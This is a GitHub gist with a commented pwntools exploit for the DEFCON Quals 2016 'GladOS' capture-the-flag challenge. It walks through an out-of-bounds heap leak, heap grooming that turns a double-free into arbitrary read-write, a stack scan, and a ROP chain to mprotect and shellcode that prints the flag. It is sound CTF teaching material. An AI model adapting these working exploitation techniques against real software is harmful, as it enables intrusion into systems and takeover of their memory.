Skip to content

Instantly share code, notes, and snippets.

@zachriggle
Last active June 15, 2016 02:51
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zachriggle/ee2436a1e2bbac0852eef7308a106359 to your computer and use it in GitHub Desktop.
Save zachriggle/ee2436a1e2bbac0852eef7308a106359 to your computer and use it in GitHub Desktop.

DEFCON Quals 2016 Pwnable -- GladOS

The write-up is basically the exploit.

#!/usr/bin/env python2
#
#******************************************************************************
# DEFCON 2016 QUALS - GLADOS PWNABLE
#******************************************************************************
#
# This was a fun challenge released at the second half of the event, which
# requires finding two bugs and some heap massaging.
#
# If you're playing along at home, I recommend making the following modififications
# to the binary, in order to disable the self-ASLR and alarm().
#
# < 4001e4: e8 98 1d 00 00 callq 0x401f81
# ---
# > 4001e4: e9 00 00 00 00 jmpq 0x4001e9
#
# < 4001eb: 58 pop %rax
# ---
# > 4001eb: c3 retq
#
# < 400275: e8 07 1d 00 00 callq 0x401f81
# ---
# > 400275: e9 00 00 00 00 jmpq 0x40027a
#
# < 4002f5: e8 fa 1b 00 00 callq 0x401ef4
# ---
# > 4002f5: e9 00 00 00 00 jmpq 0x4002fa
#
from pwn import *
context.arch='amd64'
if args['REMOTE']:
p = remote('glados_750e1878d025f65d1708549693ce5d5d.quals.shallweplayaga.me', 9292)
else:
p = process('./glados')
write('flag', 'THIS_IS_THE_FLAG')
# gdb.attach(p,'''
# catch syscall exit
# continue
# ''')
#******************************************************************************
# BACKGROUND
#******************************************************************************
#
# The GladOS binary is a menu-driven challenge, which allows us a few basic
# operations.
#
# 0. Exit
# ----------------------
# 1. Add Core
# 2. Get Core Info
# 3. List Cores
# 4. Remove Core
# 5. Interact with Core
#
def main_menu(opt):
p.recvuntil('Selection:')
p.sendline(str(opt))
def create_core(type):
main_menu(1)
p.recvuntil('Selection:')
p.sendline(str(type))
def free_core(core):
p.recvuntil('Selection:')
p.sendline('4')
p.recvuntil('Core Number')
p.sendline(str(core))
def interact(core):
main_menu(5)
p.recvuntil('Core Number')
p.sendline(str(core))
#
# Additionally, there are a few "interact" options.
#
# When creating an Array or Raw core, the first time you interact
# you set the size for its buffer.
#
def allocate(core, size):
interact(core)
p.clean()
p.sendline(str(size))
#
# For the Array type, you can read and write 8-byte integers from
# within the allocated buffer.
#
def read_array(core, index):
interact(core)
p.recvuntil('Selection:')
p.sendline(str(2))
p.recvuntil('Which Array')
p.sendline(str(index))
p.recvuntil('Value: ')
return int(p.recvline())
def write_array(core, index, value):
interact(core)
p.recvuntil('Selection:')
p.sendline('3')
p.recvuntil('Which Array')
p.sendline(str(index))
p.recvuntil('New Value')
p.sendline(str(value))
# There are only two Core types we will be dealing with.
CORE_ARRAY = 3
CORE_RAW = 7
#******************************************************************************
# LEAK HEAP AND CODE ADDRESSES
#******************************************************************************
#
# The Array core type performs a signed comparison when checking the bounds
# when reading array entries.
#
# This means that we can read from *behind* our allocated array buffer.
#
# There is a pointer to our Core object in the heap just behind our buffer
# (at index -3) and a pointer to the relocated module just a bit further
# (at index -4).
#
# Let's leak these so that we have them later.
create_core(CORE_ARRAY)
# specify the size
allocate(2, 1)
heap = read_array(2, -3)
code = read_array(2, -4)
# fix code base address against what we leaked
code -= 0x235890
log.info('heap %#x' % heap)
log.info('code %#x' % code)
# Load the ELF and set its correct address
glados = ELF('./glados')
glados.address = code
# free the array, since we don't need it anymore.
# it also makes later code more modular.
free_core(2)
#******************************************************************************
# GET ARBITRARY RW
#******************************************************************************
#
# The Raw core type does not initialize/sanitize its buffer pointer.
#
# That means that if you:
# - Create a Raw core
# - Allocate a buffer for it
# - Free the Raw core (which also frees the buffer)
# - Create a Raw core
#
# You end up with a Raw core with a buffer size of zero, but which still has
# a buffer pointer, pointing at the old (now-freed) buffer.
#
# The Raw core checks the buffer pointer in its destructor, and frees it if
# it is non-null.
#
# This means we can have a double-free, or turn it into a use-after-free.
#
# If we create an Array core, and get its buffer in the same place as the Raw
# core's buffer was, we can cause it to be freed.
#
# *Then* we can allocate another object to end up in the spot that both the
# Raw core and Array core point at -- but which the Array core will allow
# us to read and write from.
#
# Let's choose an Array core object to be our victim object, and just set its
# buffer to zero, and size to INT64_MAX.
#
# Once we overwrite these fields, we can read and write across the entire
# address space.
#
# We will use three cores for this:
#
# - Array core (#2) --> Will provide RW
# - Raw core (#3) --> Will free #2's buffer
# - Array core (#4) --> Victim, will be placed where #2's buffer was
# create two objects -- an array and a raw
create_core(CORE_ARRAY)
create_core(CORE_RAW)
log.info('Created two entries. NOTE ORDERING.')
# for the raw, allocate some stuff
allocate(3, 800)
log.info('Created span of memory')
free_core(3)
log.info('Freed array and memory')
# re-allocate that object.
# the free() ordering should put things back identically, except that
# #4 became #3 and vice-versa
create_core(CORE_RAW)
log.info('Re-allocated object. VERIFY POINTER IS STILL GOOD.')
# Have the #2 object allocate the same data.
# Note that arrays allocate in chunks of 8.
allocate(2, 800/8)
log.info('Re-allocated chunk of memory')
# Put something there so we can find it
write_array(2, 0, 0xcafebabe)
log.info('Re-wrote magic value. VERIFY RE-ALLOCATED OBJECT STILL HAS POINTER.')
# free up that object again! via #3 now since it's at the end of the list
free_core(3)
log.info('Re-freed object and memory')
# restore that same object again so that future objects
# go into the area we control.
create_core(CORE_RAW)
log.info('Re-re allocated object')
# create the object we will control
create_core(CORE_ARRAY)
# write into that object what the fuck we want -- total control
write_array(2, 5, 0)
write_array(2, 6, 0x7fffffffffffffff)
#******************************************************************************
# LEAK SOME MEMORY BRO
#******************************************************************************
#
# Great! We now know we have arbitrary memory read-write
# Let's prove that we can leak arbitrary memory.
#
# Binjitsu provides a nice class which, given a function which leaks arbitrary
# memory at an absolute address, handles all of the behind-the-scenes stuff.
#
@MemLeak
def leak(where):
if where % 8:
return None
result = read_array(4, where/8)
return pack(result)
assert leak.n(glados.address, 4) == '\x7fELF'
#******************************************************************************
# DISABLE ALARM AND GLADOS
#******************************************************************************
#
# Let's turn off the alarm() and make GLaDOS STFU.
#
# This effectively causes alarm(<pointer>) to get called each time GLaDOS would
# print a witty message (or terminate us...)
#
# .text:0000000000401EF4 ; unsigned int __cdecl alarm(unsigned int seconds)
# .data.rel.ro:0000000000635910 dq offset glados_interact
#
def write(where, what):
log.info("set %#x <-- %#x" % (where, what))
write_array(4, where / 8, what)
alarm = 0x401ef4 - glados.load_addr + glados.address
glados_interact = 0x635910 - glados.load_addr + glados.address
write(glados_interact, alarm)
leak.cache.clear()
assert leak.p(glados_interact) == alarm
#******************************************************************************
# FINDING THE STACK
#******************************************************************************
#
# We need to get control of the stack in order to ROP to mprotect our
# shellcode.
#
# Before we can do that, we need to find out *where* the stack is.
# If we stop the process immediately after loading, we can see where the
# environment is on the stack.
#
# Once GladOS is initialized, we can search memory for that pointer.
# It ends up at [base address]+0x237540.
#
# For our ROP, we want to overwrite the last return address in the loop.
#
# .text:0000000000400311 call MAIN_LOOP_HANDLER
# .text:0000000000400316 jmp short loc_4002F0
#
# Once we know where the environment is on the stack, we can scan for the
# return address so we know exactly where to overwrite.
retaddr = 0x400316 - glados.load_addr + glados.address
# First, we need to *locate* the stack.
p_stack = glados.address + 0x237540
stack = leak.p(p_stack)
log.info("stack @ %#x" % stack)
# Now we can just search for the return address
while leak.p(stack) != retaddr:
stack -= 8
log.info("&retaddr @ %#x" % stack)
#******************************************************************************
# ALL I DO IS ROP ROP ROP ROP
#******************************************************************************
# Now we can just write in our ROP stack directly!
#
# Since we have full stack control, let's just mprotect the stack, and put
# our shellcode after the ROP stack.
#
# .text:0000000000401F5F mprotect proc near
#
mprotect = 0x401F5F - glados.load_addr + glados.address
# Binjitsu provides a ROP object which will find basic 'pop reg; ret' gadgets,
# given an ELF file which has the correct load address set (which we did earlier)
r = ROP(glados)
# Set all of the arguments to mprotect, then jump to mprotect.
ropstack = (
r.rdi.address, (stack - 0x1000) & ~0xfff,
r.rsi.address, 0x2000,
r.rdx.address, 7,
mprotect,
)
map(r.raw, ropstack)
# Let's calculate where our shellcode will end up.
shellcode_addr = stack + len(str(r)) + 8
r.raw(shellcode_addr)
# For debugging purposes, dump out the ROP stack.
# It should look like this:
#
# 0x0000: 0x402229 pop rdi; ret
# 0x0008: 0x7ffed35c9000
# 0x0010: 0x401144 pop rsi; ret
# 0x0018: 0x2000
# 0x0020: 0x40360a pop rdx; ret
# 0x0028: 0x7
# 0x0030: 0x401f5f mprotect
# 0x0038: 0x7ffed35ca1c8 shellcode
# Add some symbols to the ELF so that they show up in the dump() output.
glados.symbols['mprotect'] = mprotect
glados.symbols['shellcode'] = shellcode_addr
log.info('ROP Stack:\n%s' % r.dump())
# Get our shellcode together
# shellcode = asm(shellcraft.sh())
shellcode = asm(shellcraft.echo('Hello!') +
shellcraft.cat('flag') +
shellcraft.exit())
# Put everything together
payload = str(r) + shellcode
# Our write operates on 8-byte boundaries.
while len(payload) % 8:
payload += 'X'
# Send it all in 8-byte chunks, starting with the end.
#
# This means that the *last* thing we overwrite is the
# return address itself.
for i, chunk in list(enumerate(group(8, payload)))[::-1]:
write(stack + 8*i, unpack(chunk))
# Bask in the glory!
p.recvuntil('Hello!')
log.success('The flag is: %r' % p.recvall())
glados_noalarm_noaslr
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment